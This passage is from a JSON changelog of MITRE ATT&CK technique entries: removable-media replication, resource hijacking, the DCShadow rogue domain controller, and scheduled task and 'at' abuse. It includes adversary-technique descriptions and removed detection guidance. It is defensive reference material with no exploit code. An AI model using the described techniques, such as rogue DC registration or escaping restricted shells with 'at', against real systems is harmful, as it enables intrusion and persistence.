[PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nMonitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\"}}}",
"previous_version": "3.6",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0574: Detection Strategy for Remote System Enumeration Behavior"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:08.977000+00:00",
"modified": "2025-10-24 17:48:40.752000+00:00",
"name": "Replication Through Removable Media",
"description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1091",
"external_id": "T1091"
},
{
"source_name": "Windows Malware Infecting Android",
"description": "Lucian Constantin. (2014, January 23). Windows malware tries to infect Android devices connected to PCs. Retrieved May 25, 2022.",
"url": "https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html"
},
{
"source_name": "iPhone Charging Cable Hack",
"description": "Zack Whittaker. (2019, August 12). This hacker\u2019s iPhone charging cable can hijack your computer. Retrieved May 25, 2022.",
"url": "https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/"
},
{
"source_name": "Exploiting Smartphone USB ",
"description": "Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone USB Connectivity For Fun And Profit. Retrieved May 25, 2022.",
"url": "https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Joas Antonio dos Santos, @C0d3Cr4zy"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Process: Process Creation\", \"Drive: Drive Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.752000+00:00\", \"old_value\": \"2025-04-15 19:58:24.231000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1034: Limit Hardware Installation",
"M1040: Behavior Prevention on Endpoint",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0016: Drive (Drive Creation)",
"DS0022: File (File Access)",
"DS0022: File (File Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0301: Removable Media Execution Chain Detection via File and Process Activity"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-04-17 14:50:05.682000+00:00",
"modified": "2025-10-24 17:49:24.276000+00:00",
"name": "Resource Hijacking",
"description": "Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nResource hijacking may take a number of different forms. For example, adversaries may:\n\n* Leverage compute resources in order to mine cryptocurrency\n* Sell network bandwidth to proxy networks\n* Generate SMS traffic for profit\n* Abuse cloud-based messaging services to send large quantities of spam messages\n\nIn some cases, adversaries may leverage multiple types of Resource Hijacking at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1496",
"external_id": "T1496"
},
{
"source_name": "Sysdig Cryptojacking Proxyjacking 2023",
"description": "Miguel Hernandez. (2023, August 17). LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab . Retrieved September 25, 2024.",
"url": "https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"David Fiser, @anu4is, Trend Micro",
"Alfredo Oliveira, Trend Micro",
"Jay Chen, Palo Alto Networks",
"Magno Logan, @magnologan, Trend Micro",
"Vishwas Manral, McAfee",
"Yossi Weizman, Azure Defender Research Team",
"Menachem Goldstein"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS",
"Containers",
"SaaS"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Service: Cloud Service Modification\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\", \"Sensor Health: Host Status\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.276000+00:00\", \"old_value\": \"2025-04-15 23:00:21.372000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.\"}}}",
"previous_version": "2.0",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0013: Sensor Health (Host Status)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0025: Cloud Service (Cloud Service Modification)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0267: Resource Hijacking Detection Strategy"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:48:48.823000+00:00",
"name": "Rogue Domain Controller",
"description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1207",
"external_id": "T1207"
},
{
"source_name": "DCShadow Blog",
"description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.",
"url": "https://www.dcshadow.com/"
},
{
"source_name": "Adsecurity Mimikatz Guide",
"description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
"url": "https://adsecurity.org/?page_id=1821"
},
{
"source_name": "GitHub DCSYNCMonitor",
"description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.",
"url": "https://github.com/shellster/DCSYNCMonitor"
},
{
"source_name": "Microsoft DirSync",
"description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.",
"url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx"
},
{
"source_name": "ADDSecurity DCShadow Feb 2018",
"description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.",
"url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Vincent Le Toux"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"Network Traffic: Network Traffic Content\", \"User Account: User Account Authentication\", \"Active Directory: Active Directory Object Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.823000+00:00\", \"old_value\": \"2025-04-25 15:15:34.258000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\\n\\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\\n\\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\\n\\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \\u201cGC/\\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\\u20134B06\\u201311D1-AB04\\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\\n-\\n-Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\\n-\\n-Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\\n-\\n-Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \\u201cGC/\\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\\u20134B06\\u201311D1-AB04\\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.\"}}}",
"previous_version": "2.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0026: Active Directory (Active Directory Object Creation)",
"DS0026: Active Directory (Active Directory Object Modification)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0276: Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:46.977000+00:00",
"modified": "2025-10-24 17:48:38.539000+00:00",
"name": "Scheduled Task/Job",
"description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1053",
"external_id": "T1053"
},
{
"source_name": "ProofPoint Serpent",
"description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.",
"url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"
},
{
"source_name": "TechNet Task Scheduler Security",
"description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.",
"url": "https://technet.microsoft.com/en-us/library/cc785125.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Prashant Verma, Paladion",
"Leo Loobeek, @leoloobeek",
"Travis Smith, Tripwire",
"Alain Homewood, Insomnia Security",
"Andrew Northern, @ex_raritas",
"Bryan Campbell, @bry_campbell",
"Zachary Abzug, @ZackDoesML",
"Selena Larson, @selenalarson"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS",
"Containers",
"ESXi"
],
"x_mitre_remote_support": false,
"x_mitre_version": "2.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Scheduled Job: Scheduled Job Creation\", \"File: File Creation\", \"Process: Process Creation\", \"Container: Container Creation\", \"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.539000+00:00\", \"old_value\": \"2025-04-15 21:41:11.473000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n\\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n-\\n-Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}",
"previous_version": "2.4",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1026: Privileged Account Management",
"M1028: Operating System Configuration",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0003: Scheduled Job (Scheduled Job Creation)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0032: Container (Container Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0094: Cross-Platform Behavioral Detection of Scheduled Task/Job Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-11-27 13:52:45.853000+00:00",
"modified": "2025-10-24 17:49:36.495000+00:00",
"name": "At",
"description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1053/002",
"external_id": "T1053.002"
},
{
"source_name": "rowland linux at 2019",
"description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.",
"url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/"
},
{
"source_name": "GTFObins at",
"description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.",
"url": "https://gtfobins.github.io/gtfobins/at/"
},
{
"source_name": "Linux at",
"description": "IEEE/The Open Group. (2017). at(1p) \u2014 Linux manual page. Retrieved February 25, 2022.",
"url": "https://man7.org/linux/man-pages/man1/at.1p.html"
},
{
"source_name": "Twitter Leoloobeek Scheduled Task",
"description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.",
"url": "https://x.com/leoloobeek/status/939248813465853953"
},
{
"source_name": "Microsoft Scheduled Task Events Win10",
"description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"
},
{
"source_name": "TechNet Scheduled Task Events",
"description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
"url": "https://technet.microsoft.com/library/dd315590.aspx"
},
{
"source_name": "Malicious Life by Cybereason",
"description": "Philip Tsukerman. (n.d.). No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal. Retrieved June 19, 2024.",
"url": "https://www.cybereason.com/blog/wmi-lateral-movement-win32#blog-subscribe"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
},
{
"source_name": "TechNet Forum Scheduled Task Operational Setting",
"description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
"url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"x_mitre_version": "2.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Scheduled Job: Scheduled Job Creation\", \"Network Traffic: Network Traffic Flow\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.495000+00:00\", \"old_value\": \"2025-04-15 19:59:21.266000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\\\System32\\\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\\n\\nConfigure event logging for scheduled task creation and changes by enabling the \\\"Microsoft-Windows-TaskScheduler/Operational\\\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n\\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n\\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\\n\\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n\\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\\n\\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).\", \"diff\": \"--- \\n+++ \\n@@ -1,20 +0,0 @@\\n-Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\\\System32\\\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\\n-\\n-Configure event logging for scheduled task creation and changes by enabling the \\\"Microsoft-Windows-TaskScheduler/Operational\\\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n-\\n-* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n-* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n-* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n-* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n-* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n-* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n-\\n-Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and 